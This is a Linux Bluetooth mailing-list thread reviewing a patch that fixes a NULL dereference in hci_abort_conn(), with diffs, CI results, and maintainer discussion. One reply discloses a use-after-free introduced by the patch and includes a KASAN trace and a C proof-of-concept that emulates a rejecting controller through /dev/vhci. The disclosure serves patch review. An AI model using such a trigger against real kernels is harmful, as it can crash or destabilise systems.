> + hci_cmd_sync_cancel(hdev, ECANCELED);
> +
> + return -EBUSY;
> }
>
> int hci_le_conn_update_sync(struct hci_dev *hdev, struct hci_conn
> *conn,
--
Pauli Virtanen
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
2026-06-11 15:51 ` Siwei Zhang
@ 2026-06-11 16:07 ` Luiz Augusto von Dentz
0 siblings, 0 replies; 10+ messages in thread
From: Luiz Augusto von Dentz @ 2026-06-11 16:07 UTC (permalink / raw)
To: Siwei Zhang; +Cc: linux-bluetooth
Hi Siwei,
On Thu, Jun 11, 2026 at 11:51 AM Siwei Zhang <oss@fourdim.xyz> wrote:
>
> Hi Luiz,
>
> On Thu, Jun 11, 2026, at 11:36 AM, Luiz Augusto von Dentz wrote:
> > Hi Siwei,
> >
> > On Thu, Jun 11, 2026 at 11:20 AM Siwei Zhang <oss@fourdim.xyz> wrote:
> >>
> >> hci_abort_conn() read hci_skb_event(hdev->sent_cmd) when a connection
> >> was pending, but hdev->sent_cmd can be NULL while req_status is still
> >> HCI_REQ_PEND, leading to a NULL pointer dereference and a general
> >> protection fault from the hci_rx_work() receive path.
> >>
> >> Instead of inspecting hdev->sent_cmd, track the in-flight create
> >> connection command with a new per-connection HCI_CONN_CREATE flag and
> >> route all cancellation through hci_cancel_connect_sync(), which dequeues
> >> the command if still queued, or cancels the pending request if this
> >> connection owns the in-flight create command. CIS uses the same path
> >> via the existing HCI_CONN_CREATE_CIS flag.
> >>
> >> Fixes: a13f316e90fd ("Bluetooth: hci_conn: Consolidate code for aborting connections")
> >> Cc: stable@vger.kernel.org
> >> Assisted-by: Claude:claude-opus-4-8
> >> Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
> >> ---
> >> include/net/bluetooth/hci_core.h | 1 +
> >> net/bluetooth/hci_conn.c | 21 ++--------
> >> net/bluetooth/hci_sync.c | 66 ++++++++++++++++++++++++++------
> >> 3 files changed, 58 insertions(+), 30 deletions(-)
> >>
> >> diff --git a/include/net/bluetooth/hci_core.h b/include/net/bluetooth/hci_core.h
> >> index aa600fbf9a53..aa554c34f9ec 100644
> >> --- a/include/net/bluetooth/hci_core.h
> >> +++ b/include/net/bluetooth/hci_core.h
> >> @@ -988,6 +988,7 @@ enum {
> >> HCI_CONN_AUTH_FAILURE,
> >> HCI_CONN_PER_ADV,
> >> HCI_CONN_BIG_CREATED,
> >> + HCI_CONN_CREATE,
> >> HCI_CONN_CREATE_CIS,
> >> HCI_CONN_CREATE_BIG_SYNC,
> >> HCI_CONN_BIG_SYNC,
> >> diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
> >> index 54eabaa46960..eba4a548bef5 100644
> >> --- a/net/bluetooth/hci_conn.c
> >> +++ b/net/bluetooth/hci_conn.c
> >> @@ -3181,26 +3181,11 @@ int hci_abort_conn(struct hci_conn *conn, u8 reason)
> >>
> >> conn->abort_reason = reason;
> >>
> >> - /* If the connection is pending check the command opcode since that
> >> - * might be blocking on hci_cmd_sync_work while waiting its respective
> >> - * event so we need to hci_cmd_sync_cancel to cancel it.
> >> - *
> >> - * hci_connect_le serializes the connection attempts so only one
> >> - * connection can be in BT_CONNECT at time.
> >> + /* Cancel the connect attempt. A return of 0 means the create command
> >> + * was still queued and got dequeued, so there is nothing to disconnect.
> >> */
> >> - if (conn->state == BT_CONNECT && READ_ONCE(hdev->req_status) == HCI_REQ_PEND) {
> >> - switch (hci_skb_event(hdev->sent_cmd)) {
> >> - case HCI_EV_CONN_COMPLETE:
> >> - case HCI_EV_LE_CONN_COMPLETE:
> >> - case HCI_EV_LE_ENHANCED_CONN_COMPLETE:
> >> - case HCI_EVT_LE_CIS_ESTABLISHED:
> >> - hci_cmd_sync_cancel(hdev, ECANCELED);
> >> - break;
> >> - }
> >> - /* Cancel connect attempt if still queued/pending */
> >> - } else if (!hci_cancel_connect_sync(hdev, conn)) {
> >> + if (!hci_cancel_connect_sync(hdev, conn))
> >> return 0;
> >> - }
> >>
> >> /* Run immediately if on cmd_sync_work since this may be called
> >> * as a result to MGMT_OP_DISCONNECT/MGMT_OP_UNPAIR which does
> >> diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
> >> index df23245d6ccd..1fe19ddbbc2c 100644
> >> --- a/net/bluetooth/hci_sync.c
> >> +++ b/net/bluetooth/hci_sync.c
> >> @@ -6668,6 +6668,12 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
> >> &own_addr_type);
> >> if (err)
> >> goto done;
> >> +
> >> + /* Mark create connection in flight so hci_cancel_connect_sync() can
> >> + * cancel it while blocking on the connection complete event.
> >> + */
> >> + set_bit(HCI_CONN_CREATE, &conn->flags);
> >> +
> >> /* Send command LE Extended Create Connection if supported */
> >> if (use_ext_conn(hdev)) {
> >> err = hci_le_ext_create_conn_sync(hdev, conn, own_addr_type);
> >> @@ -6703,6 +6709,8 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
> >> conn->conn_timeout, NULL);
> >>
> >> done:
> >> + clear_bit(HCI_CONN_CREATE, &conn->flags);
> >> +
> >> if (err == -ETIMEDOUT)
> >> hci_le_connect_cancel_sync(hdev, conn, 0x00);
> >>
> >> @@ -6982,10 +6990,19 @@ static int hci_acl_create_conn_sync(struct hci_dev *hdev, void *data)
> >> else
> >> cp.role_switch = 0x00;
> >>
> >> - return __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
> >> - sizeof(cp), &cp,
> >> - HCI_EV_CONN_COMPLETE,
> >> - conn->conn_timeout, NULL);
> >> + /* Mark create connection in flight so hci_cancel_connect_sync() can
> >> + * cancel it while blocking on the connection complete event.
> >> + */
> >> + set_bit(HCI_CONN_CREATE, &conn->flags);
> >> +
> >> + err = __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
> >> + sizeof(cp), &cp,
> >> + HCI_EV_CONN_COMPLETE,
> >> + conn->conn_timeout, NULL);
> >> +
> >> + clear_bit(HCI_CONN_CREATE, &conn->flags);
> >> +
> >> + return err;
> >> }
> >>
> >> int hci_connect_acl_sync(struct hci_dev *hdev, struct hci_conn *conn)
> >> @@ -7039,20 +7056,45 @@ int hci_connect_le_sync(struct hci_dev *hdev, struct hci_conn *conn)
> >>
> >> int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
> >> {
> >> - if (conn->state != BT_OPEN)
> >> - return -EINVAL;
> >> + hci_cmd_sync_work_func_t func = NULL;
> >> + hci_cmd_sync_work_destroy_t destroy = NULL;
> >> + int create_flag = -1;
> >>
> >> switch (conn->type) {
> >> case ACL_LINK:
> >> - return !hci_cmd_sync_dequeue_once(hdev,
> >> - hci_acl_create_conn_sync,
> >> - conn, NULL);
> >> + func = hci_acl_create_conn_sync;
> >> + create_flag = HCI_CONN_CREATE;
> >> + break;
> >> case LE_LINK:
> >> - return !hci_cmd_sync_dequeue_once(hdev, hci_le_create_conn_sync,
> >> - conn, create_le_conn_complete);
> >> + func = hci_le_create_conn_sync;
> >> + destroy = create_le_conn_complete;
> >> + create_flag = HCI_CONN_CREATE;
> >> + break;
> >> + case CIS_LINK:
> >> + /* LE Create CIS is shared by the whole CIG and cannot be
> >> + * dequeued per-connection; only cancel it in-flight below.
> >> + */
> >> + create_flag = HCI_CONN_CREATE_CIS;
> >> + break;
> >> + default:
> >> + return -ENOENT;
> >> }
> >>
> >> - return -ENOENT;
> >> + /* The create command is in exactly one of two states: still queued, or
> >> + * in flight. The create flag is only set once the worker has dequeued
> >> + * the entry and started running it, so the two states are mutually
> >> + * exclusive. Try to dequeue first: if it succeeds the command had not
> >> + * started yet and we are done. Otherwise the worker already pulled it
> >> + * off the queue (the dequeue is a no-op here),
> >
> > This is where I disagree, `dequeue` is not a no-op. It must traverse
> > the list of entries in cmd_sync_work_list, so it is cheaper to check
> > the flag first and then attempt to dequeue.
> >
>
> If we test the flag first and read 0 while the entry is still queued, the worker
> can advance it to in-flight before our dequeue runs.
> In that case we will return without cancelling.
Maybe we need to hold cmd_sync_work_lock to make sure nothing is
changed in the meantime before we dequeue (well dequeue will hold it
but not for the window immeditely after checking the flag).
> I can update the comment saying that it has no effect instead of no-op.
>
> >> + * owns the in-flight create command, cancel the pending request.
> >> + */
> >> + if (func && hci_cmd_sync_dequeue_once(hdev, func, conn, destroy))
> >> + return 0;
> >> +
> >> + if (create_flag >= 0 && test_bit(create_flag, &conn->flags))
> >> + hci_cmd_sync_cancel(hdev, ECANCELED);
> >> +
> >> + return -EBUSY;
> >> }
> >>
> >> int hci_le_conn_update_sync(struct hci_dev *hdev, struct hci_conn *conn,
> >> --
> >> 2.54.0
> >>
> >
> >
> > --
> > Luiz Augusto von Dentz
>
> Best,
> Siwei
--
Luiz Augusto von Dentz
^ permalink raw reply [flat|nested] 10+ messages in thread
* RE: [v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
2026-06-11 15:19 [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn() Siwei Zhang
2026-06-11 15:36 ` Luiz Augusto von Dentz
2026-06-11 16:05 ` Pauli Virtanen
@ 2026-06-11 19:20 ` bluez.test.bot
2026-06-11 19:40 ` Luiz Augusto von Dentz
2026-06-13 10:40 ` [PATCH v3] " XIAO WU
3 siblings, 1 reply; 10+ messages in thread
From: bluez.test.bot @ 2026-06-11 19:20 UTC (permalink / raw)
To: linux-bluetooth, oss
[-- Attachment #1: Type: text/plain, Size: 2794 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1110143
---Test result---
Test Summary:
CheckPatch PASS 1.03 seconds
VerifyFixes PASS 0.10 seconds
VerifySignedoff PASS 0.10 seconds
GitLint PASS 0.26 seconds
SubjectPrefix PASS 0.09 seconds
BuildKernel PASS 25.18 seconds
CheckAllWarning PASS 27.48 seconds
CheckSparse PASS 26.19 seconds
BuildKernel32 PASS 24.16 seconds
TestRunnerSetup PASS 531.43 seconds
TestRunner_l2cap-tester PASS 59.98 seconds
TestRunner_iso-tester PASS 77.10 seconds
TestRunner_bnep-tester PASS 18.80 seconds
TestRunner_mgmt-tester FAIL 216.57 seconds
TestRunner_rfcomm-tester PASS 25.55 seconds
TestRunner_sco-tester PASS 32.10 seconds
TestRunner_ioctl-tester PASS 25.34 seconds
TestRunner_mesh-tester FAIL 25.86 seconds
TestRunner_smp-tester PASS 23.11 seconds
TestRunner_userchan-tester PASS 19.69 seconds
TestRunner_6lowpan-tester FAIL 45.82 seconds
IncrementalBuild PASS 24.08 seconds
Details
##############################
Test: TestRunner_mgmt-tester - FAIL
Desc: Run mgmt-tester with test-runner
Output:
Total: 494, Passed: 489 (99.0%), Failed: 1, Not Run: 4
Failed Test Cases
Read Exp Feature - Success Failed 0.239 seconds
##############################
Test: TestRunner_mesh-tester - FAIL
Desc: Run mesh-tester with test-runner
Output:
Total: 10, Passed: 8 (80.0%), Failed: 2, Not Run: 0
Failed Test Cases
Mesh - Send cancel - 1 Timed out 2.495 seconds
Mesh - Send cancel - 2 Timed out 1.994 seconds
##############################
Test: TestRunner_6lowpan-tester - FAIL
Desc: Run 6lowpan-tester with test-runner
Output:
Total: 8, Passed: 3 (37.5%), Failed: 5, Not Run: 0
Failed Test Cases
Client Connect - Disconnect Timed out 5.057 seconds
Client Recv Dgram - Success Timed out 4.985 seconds
Client Recv Raw - Success Timed out 4.996 seconds
Client Recv IPHC Dgram - Success Timed out 4.997 seconds
Client Recv IPHC Raw - Success Timed out 4.998 seconds
https://github.com/bluez/bluetooth-next/pull/305
---
Regards,
Linux Bluetooth
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
2026-06-11 19:20 ` [v3] " bluez.test.bot
@ 2026-06-11 19:40 ` Luiz Augusto von Dentz
0 siblings, 0 replies; 10+ messages in thread
From: Luiz Augusto von Dentz @ 2026-06-11 19:40 UTC (permalink / raw)
To: linux-bluetooth; +Cc: oss
Hi @Pauli Virtanen
On Thu, Jun 11, 2026 at 3:20 PM <bluez.test.bot@gmail.com> wrote:
>
> This is automated email and please do not reply to this email!
>
> Dear submitter,
>
> Thank you for submitting the patches to the linux bluetooth mailing list.
> This is a CI test results with your patch series:
> PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1110143
>
> ---Test result---
>
> Test Summary:
> CheckPatch PASS 1.03 seconds
> VerifyFixes PASS 0.10 seconds
> VerifySignedoff PASS 0.10 seconds
> GitLint PASS 0.26 seconds
> SubjectPrefix PASS 0.09 seconds
> BuildKernel PASS 25.18 seconds
> CheckAllWarning PASS 27.48 seconds
> CheckSparse PASS 26.19 seconds
> BuildKernel32 PASS 24.16 seconds
> TestRunnerSetup PASS 531.43 seconds
> TestRunner_l2cap-tester PASS 59.98 seconds
> TestRunner_iso-tester PASS 77.10 seconds
> TestRunner_bnep-tester PASS 18.80 seconds
> TestRunner_mgmt-tester FAIL 216.57 seconds
> TestRunner_rfcomm-tester PASS 25.55 seconds
> TestRunner_sco-tester PASS 32.10 seconds
> TestRunner_ioctl-tester PASS 25.34 seconds
> TestRunner_mesh-tester FAIL 25.86 seconds
> TestRunner_smp-tester PASS 23.11 seconds
> TestRunner_userchan-tester PASS 19.69 seconds
> TestRunner_6lowpan-tester FAIL 45.82 seconds
> IncrementalBuild PASS 24.08 seconds
>
> Details
> ##############################
> Test: TestRunner_mgmt-tester - FAIL
> Desc: Run mgmt-tester with test-runner
> Output:
> Total: 494, Passed: 489 (99.0%), Failed: 1, Not Run: 4
>
> Failed Test Cases
> Read Exp Feature - Success Failed 0.239 seconds
> ##############################
> Test: TestRunner_mesh-tester - FAIL
> Desc: Run mesh-tester with test-runner
> Output:
> Total: 10, Passed: 8 (80.0%), Failed: 2, Not Run: 0
>
> Failed Test Cases
> Mesh - Send cancel - 1 Timed out 2.495 seconds
> Mesh - Send cancel - 2 Timed out 1.994 seconds
> ##############################
> Test: TestRunner_6lowpan-tester - FAIL
> Desc: Run 6lowpan-tester with test-runner
> Output:
> Total: 8, Passed: 3 (37.5%), Failed: 5, Not Run: 0
>
> Failed Test Cases
> Client Connect - Disconnect Timed out 5.057 seconds
> Client Recv Dgram - Success Timed out 4.985 seconds
> Client Recv Raw - Success Timed out 4.996 seconds
> Client Recv IPHC Dgram - Success Timed out 4.997 seconds
> Client Recv IPHC Raw - Success Timed out 4.998 seconds
This seems unrelated to the changes, is this something Bluetooth:
6lowpan: fix cyclic locking warning on netdev unregister would cause
though or perhaps is due some other changes to 6lowpan core?
>
> https://github.com/bluez/bluetooth-next/pull/305
>
> ---
> Regards,
> Linux Bluetooth
>
--
Luiz Augusto von Dentz
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
2026-06-11 15:19 [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn() Siwei Zhang
` (2 preceding siblings ...)
2026-06-11 19:20 ` [v3] " bluez.test.bot
@ 2026-06-13 10:40 ` XIAO WU
2026-06-15 12:38 ` Siwei Zhang
3 siblings, 1 reply; 10+ messages in thread
From: XIAO WU @ 2026-06-13 10:40 UTC (permalink / raw)
To: Siwei Zhang, Luiz Augusto von Dentz; +Cc: linux-bluetooth
Hi Siwei,
On Thu, 11 Jun 2026 11:19:52 -0400, Siwei Zhang wrote:
> Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
This patch correctly fixes the NULL dereference in hci_abort_conn() by
tracking in-flight create commands with HCI_CONN_CREATE.
I noticed a Sashiko review[1] of this patch flagged that the new
clear_bit(HCI_CONN_CREATE, &conn->flags) calls after
__hci_cmd_sync_status_sk() introduce a use-after-free. I wrote a PoC
to verify this and was able to trigger it reliably on a KASAN-enabled
kernel.
The race:
If the controller rejects the ACL connection attempt (e.g. via
Command Status with a non-zero status), the RX thread processes the
rejection in hci_cs_create_conn() → hci_conn_del(), freeing the
hci_conn object. Shortly after, __hci_cmd_sync_status_sk() returns
the error to hci_acl_create_conn_sync() on the hci_cmd_sync_work
worker, which then writes to the freed conn via clear_bit().
My PoC opens /dev/vhci, creates a virtual controller that responds to
HCI_OP_CREATE_CONN with Command Status error 0x2e, powers on the
controller, and triggers an L2CAP connect. This reliably hits:
==================================================================
BUG: KASAN: slab-use-after-free in hci_acl_create_conn_sync+0x3c6/0x600
Write of size 8 at addr ffff88802eed2950 by task kworker/u11:0/57
Workqueue: hci0 hci_cmd_sync_work
Call Trace:
<TASK>
dump_stack_lvl+0x116/0x1f0
print_report+0xf4/0x600
kasan_report+0xe0/0x110
kasan_check_range+0x100/0x1b0
hci_acl_create_conn_sync+0x3c6/0x600 <-- clear_bit on freed conn
hci_cmd_sync_work+0x1b0/0x480
process_one_work+0xa20/0x1c50
worker_thread+0x6df/0xf30
kthread+0x387/0x4a0
Allocated by task 9349 (L2CAP connect):
__hci_conn_add+0xfd/0x1df0
hci_conn_add_unset+0x7b/0x130
hci_connect_acl+0x4aa/0x7c0
l2cap_chan_connect+0x779/0x2160
l2cap_sock_connect+0x381/0x7a0
Freed by task 9353 (RX thread):
kfree+0x171/0x720
device_release+0xd7/0x280
hci_conn_del_sysfs+0x17b/0x1a0
hci_conn_del+0x685/0x11d0
hci_cs_create_conn+0x1e9/0x430 <-- controller rejection
hci_cmd_status_evt+0x267/0x790
hci_event_packet+0x521/0xce0
hci_rx_work+0x2ce/0x1030
==================================================================
The race window:
hci_acl_create_conn_sync() hci_rx_work()
========================== ==============
__hci_cmd_sync_status_sk(...) hci_cs_create_conn()
→ waiting for controller reply → hci_conn_del()
→ kfree(conn)
clear_bit(HCI_CONN_CREATE,
&conn->flags); ← UAF
The same pattern exists in hci_le_create_conn_sync().
One possible fix: take a reference on conn before the cmd_sync call
and drop it after clear_bit(), or move the clear_bit to a point where
the conn is still guaranteed to be alive. The Sashiko review[1]
points out a few other issues in the same patch as well.
I wrote the following PoC. It opens /dev/vhci, emulates a controller
that rejects CREATE_CONN, powers up via MGMT, and triggers an L2CAP
connect to exercise the race.
---8<--- poc.c ---
/*
* PoC for UAF in hci_acl_create_conn_sync()
*
* Opens /dev/vhci, creates a virtual HCI controller that responds to
* HCI_OP_CREATE_CONN with Command Status 0x2e
(HCI_ERROR_COMMAND_DISALLOWED).
* The RX thread processes this via hci_cs_create_conn() and frees the
conn,
* while the hci_cmd_sync_work worker then hits the UAF in clear_bit().
*
* Build: gcc -Wall -O2 -o poc poc.c -lpthread
* Run: ./poc (root, KASAN-enabled kernel, vhci loaded)
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/poll.h>
#include <pthread.h>
#include <stdint.h>
#define HCI_COMMAND_PKT 0x01
#define HCI_EVENT_PKT 0x04
#define HCI_VENDOR_PKT 0xff
#define HCI_EV_CMD_COMPLETE 0x0e
#define HCI_EV_CMD_STATUS 0x0f
#define HCI_OP_CREATE_CONN 0x0405
#define HCI_OP_RESET 0x0c03
#define BTPROTO_L2CAP 0
#define BTPROTO_HCI 1
#define BDADDR_BREDR 0x00
#define HCI_CHANNEL_CONTROL 3
struct sockaddr_l2 {
uint16_t l2_family, l2_psm;
uint8_t l2_bdaddr[6];
uint16_t l2_cid;
uint8_t l2_bdaddr_type;
} __attribute__((packed));
struct sockaddr_hci {
uint16_t hci_family, hci_dev, hci_channel;
};
static volatile int vhci_fd = -1;
static volatile int saw_conn = 0;
static int send_evt(uint8_t e, const void *d, uint8_t dl)
{
uint8_t b[512];
b[0] = HCI_EVENT_PKT; b[1] = e; b[2] = dl;
if (dl && d) memcpy(b + 3, d, dl);
return write(vhci_fd, b, 3 + dl);
}
static int read_cmd(uint16_t *o, uint8_t *p, int *pl, int tmo)
{
uint8_t b[8192];
struct pollfd pf = {.fd = vhci_fd, .events = POLLIN};
int r = poll(&pf, 1, tmo);
if (r <= 0) return -1;
r = read(vhci_fd, b, sizeof(b));
if (r < 4 || b[0] != HCI_COMMAND_PKT) return -1;
*o = b[1] | (b[2] << 8); *pl = b[3];
if (p && *pl) memcpy(p, b + 4, (*pl < r - 4) ? *pl : r - 4);
return 1;
}
static void send_ok(uint16_t o) { uint8_t r[1] = {0};
send_evt(HCI_EV_CMD_COMPLETE, r, 1); }
static void send_cc(uint16_t o, const void *rd, uint8_t rl) {
send_evt(HCI_EV_CMD_COMPLETE, rd, rl); }
static void send_cs(uint16_t o, uint8_t s) {
uint8_t p[4] = {s, 1, o & 0xff, (o >> 8) & 0xff};
send_evt(HCI_EV_CMD_STATUS, p, 4);
}
static void *init_thr(void *a)
{
(void)a;
uint16_t o; uint8_t p[256]; int pl;
while (1) {
if (read_cmd(&o, p, &pl, 2000) < 0) { usleep(50000); continue; }
if (o == HCI_OP_CREATE_CONN) {
/* Reject with Command Status error 0x2e */
send_cs(o, 0x2e);
saw_conn = 1;
continue;
}
if (o == HCI_OP_RESET) { send_ok(o); continue; }
/* ... handle many other HCI commands for init ... */
send_ok(o);
}
return 0;
}
struct mgmt_hdr { uint16_t opcode, index, len; } __attribute__((packed));
#define MGMT_OP_SET_POWERED 0x0005
#define MGMT_OP_SET_CONNECTABLE 0x000b
int main(void)
{
printf("[*] open vhci\n");
vhci_fd = open("/dev/vhci", O_RDWR);
if (vhci_fd < 0) { perror("vhci"); return 1; }
uint8_t c[2] = {HCI_VENDOR_PKT, 0}; write(vhci_fd, c, 2);
printf("[*] start vhci init thread\n");
pthread_t t; pthread_create(&t, 0, init_thr, 0);
sleep(6);
/* Power on via MGMT */
int mgmt = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
if (mgmt >= 0) {
struct sockaddr_hci ha = {AF_BLUETOOTH, 0xffff,
HCI_CHANNEL_CONTROL};
if (bind(mgmt, (struct sockaddr *)&ha, sizeof(ha)) == 0) {
uint8_t cmd[256];
struct mgmt_hdr *hdr = (struct mgmt_hdr *)cmd;
hdr->opcode = MGMT_OP_SET_POWERED; hdr->index = 0; hdr->len
= 1;
cmd[sizeof(*hdr)] = 1;
write(mgmt, cmd, sizeof(*hdr) + 1);
usleep(200000);
hdr->opcode = MGMT_OP_SET_CONNECTABLE;
write(mgmt, cmd, sizeof(*hdr) + 1);
usleep(200000);
}
close(mgmt);
}
/* L2CAP connect triggers hci_connect_acl → hci_acl_create_conn_sync */
printf("[*] L2CAP connect (trigger)\n");
int l2 = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
if (l2 >= 0) {
struct sockaddr_l2 ba; memset(&ba, 0, sizeof(ba));
ba.l2_family = AF_BLUETOOTH; ba.l2_bdaddr_type = BDADDR_BREDR;
bind(l2, (struct sockaddr *)&ba, sizeof(ba));
struct sockaddr_l2 ca; memset(&ca, 0, sizeof(ca));
ca.l2_family = AF_BLUETOOTH; ca.l2_psm = 1;
ca.l2_bdaddr_type = BDADDR_BREDR;
memset(ca.l2_bdaddr, 0x11, 6);
connect(l2, (struct sockaddr *)&ca, sizeof(ca));
close(l2);
}
usleep(500000);
pthread_cancel(t); pthread_join(t, 0); close(vhci_fd);
printf("[*] done. Check dmesg for KASAN slab-use-after-free.\n");
return 0;
}
---8<---
Hope this helps with the patch. Let me know if you need additional
information from the test setup.
[1]
https://sashiko.dev/#/patchset/20260611152039.2176565-1-oss%40fourdim.xyz
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
2026-06-13 10:40 ` [PATCH v3] " XIAO WU
@ 2026-06-15 12:38 ` Siwei Zhang
2026-06-15 12:45 ` XIAO WU
0 siblings, 1 reply; 10+ messages in thread
From: Siwei Zhang @ 2026-06-15 12:38 UTC (permalink / raw)
To: XIAO WU, Luiz Augusto von Dentz; +Cc: linux-bluetooth
Hi Xiao Wu,
On Sat, Jun 13, 2026, at 6:40 AM, XIAO WU wrote:
> Hi Siwei,
>
> On Thu, 11 Jun 2026 11:19:52 -0400, Siwei Zhang wrote:
> > Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
>
> This patch correctly fixes the NULL dereference in hci_abort_conn() by
> tracking in-flight create commands with HCI_CONN_CREATE.
>
> I noticed a Sashiko review[1] of this patch flagged that the new
> clear_bit(HCI_CONN_CREATE, &conn->flags) calls after
> __hci_cmd_sync_status_sk() introduce a use-after-free. I wrote a PoC
> to verify this and was able to trigger it reliably on a KASAN-enabled
> kernel.
>
> The race:
>
> If the controller rejects the ACL connection attempt (e.g. via
> Command Status with a non-zero status), the RX thread processes the
> rejection in hci_cs_create_conn() → hci_conn_del(), freeing the
> hci_conn object. Shortly after, __hci_cmd_sync_status_sk() returns
> the error to hci_acl_create_conn_sync() on the hci_cmd_sync_work
> worker, which then writes to the freed conn via clear_bit().
>
> My PoC opens /dev/vhci, creates a virtual controller that responds to
> HCI_OP_CREATE_CONN with Command Status error 0x2e, powers on the
> controller, and triggers an L2CAP connect. This reliably hits:
>
> ==================================================================
> BUG: KASAN: slab-use-after-free in hci_acl_create_conn_sync+0x3c6/0x600
> Write of size 8 at addr ffff88802eed2950 by task kworker/u11:0/57
> Workqueue: hci0 hci_cmd_sync_work
>
> Call Trace:
> <TASK>
> dump_stack_lvl+0x116/0x1f0
> print_report+0xf4/0x600
> kasan_report+0xe0/0x110
> kasan_check_range+0x100/0x1b0
> hci_acl_create_conn_sync+0x3c6/0x600 <-- clear_bit on freed conn
> hci_cmd_sync_work+0x1b0/0x480
> process_one_work+0xa20/0x1c50
> worker_thread+0x6df/0xf30
> kthread+0x387/0x4a0
>
> Allocated by task 9349 (L2CAP connect):
> __hci_conn_add+0xfd/0x1df0
> hci_conn_add_unset+0x7b/0x130
> hci_connect_acl+0x4aa/0x7c0
> l2cap_chan_connect+0x779/0x2160
> l2cap_sock_connect+0x381/0x7a0
>
> Freed by task 9353 (RX thread):
> kfree+0x171/0x720
> device_release+0xd7/0x280
> hci_conn_del_sysfs+0x17b/0x1a0
> hci_conn_del+0x685/0x11d0
> hci_cs_create_conn+0x1e9/0x430 <-- controller rejection
> hci_cmd_status_evt+0x267/0x790
> hci_event_packet+0x521/0xce0
> hci_rx_work+0x2ce/0x1030
> ==================================================================
>
> The race window:
>
> hci_acl_create_conn_sync() hci_rx_work()
> ========================== ==============
> __hci_cmd_sync_status_sk(...) hci_cs_create_conn()
> → waiting for controller reply → hci_conn_del()
> → kfree(conn)
> clear_bit(HCI_CONN_CREATE,
> &conn->flags); ← UAF
>
> The same pattern exists in hci_le_create_conn_sync().
>
> One possible fix: take a reference on conn before the cmd_sync call
> and drop it after clear_bit(), or move the clear_bit to a point where
> the conn is still guaranteed to be alive. The Sashiko review[1]
> points out a few other issues in the same patch as well.
>
> I wrote the following PoC. It opens /dev/vhci, emulates a controller
> that rejects CREATE_CONN, powers up via MGMT, and triggers an L2CAP
> connect to exercise the race.
>
> ---8<--- poc.c ---
> /*
> * PoC for UAF in hci_acl_create_conn_sync()
> *
> * Opens /dev/vhci, creates a virtual HCI controller that responds to
> * HCI_OP_CREATE_CONN with Command Status 0x2e
> (HCI_ERROR_COMMAND_DISALLOWED).
> * The RX thread processes this via hci_cs_create_conn() and frees the
> conn,
> * while the hci_cmd_sync_work worker then hits the UAF in clear_bit().
> *
> * Build: gcc -Wall -O2 -o poc poc.c -lpthread
> * Run: ./poc (root, KASAN-enabled kernel, vhci loaded)
> */
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <sys/socket.h>
> #include <sys/poll.h>
> #include <pthread.h>
> #include <stdint.h>
>
> #define HCI_COMMAND_PKT 0x01
> #define HCI_EVENT_PKT 0x04
> #define HCI_VENDOR_PKT 0xff
> #define HCI_EV_CMD_COMPLETE 0x0e
> #define HCI_EV_CMD_STATUS 0x0f
> #define HCI_OP_CREATE_CONN 0x0405
> #define HCI_OP_RESET 0x0c03
> #define BTPROTO_L2CAP 0
> #define BTPROTO_HCI 1
> #define BDADDR_BREDR 0x00
> #define HCI_CHANNEL_CONTROL 3
>
> struct sockaddr_l2 {
> uint16_t l2_family, l2_psm;
> uint8_t l2_bdaddr[6];
> uint16_t l2_cid;
> uint8_t l2_bdaddr_type;
> } __attribute__((packed));
>
> struct sockaddr_hci {
> uint16_t hci_family, hci_dev, hci_channel;
> };
>
> static volatile int vhci_fd = -1;
> static volatile int saw_conn = 0;
>
> static int send_evt(uint8_t e, const void *d, uint8_t dl)
> {
> uint8_t b[512];
> b[0] = HCI_EVENT_PKT; b[1] = e; b[2] = dl;
> if (dl && d) memcpy(b + 3, d, dl);
> return write(vhci_fd, b, 3 + dl);
> }
>
> static int read_cmd(uint16_t *o, uint8_t *p, int *pl, int tmo)
> {
> uint8_t b[8192];
> struct pollfd pf = {.fd = vhci_fd, .events = POLLIN};
> int r = poll(&pf, 1, tmo);
> if (r <= 0) return -1;
> r = read(vhci_fd, b, sizeof(b));
> if (r < 4 || b[0] != HCI_COMMAND_PKT) return -1;
> *o = b[1] | (b[2] << 8); *pl = b[3];
> if (p && *pl) memcpy(p, b + 4, (*pl < r - 4) ? *pl : r - 4);
> return 1;
> }
>
> static void send_ok(uint16_t o) { uint8_t r[1] = {0};
> send_evt(HCI_EV_CMD_COMPLETE, r, 1); }
> static void send_cc(uint16_t o, const void *rd, uint8_t rl) {
> send_evt(HCI_EV_CMD_COMPLETE, rd, rl); }
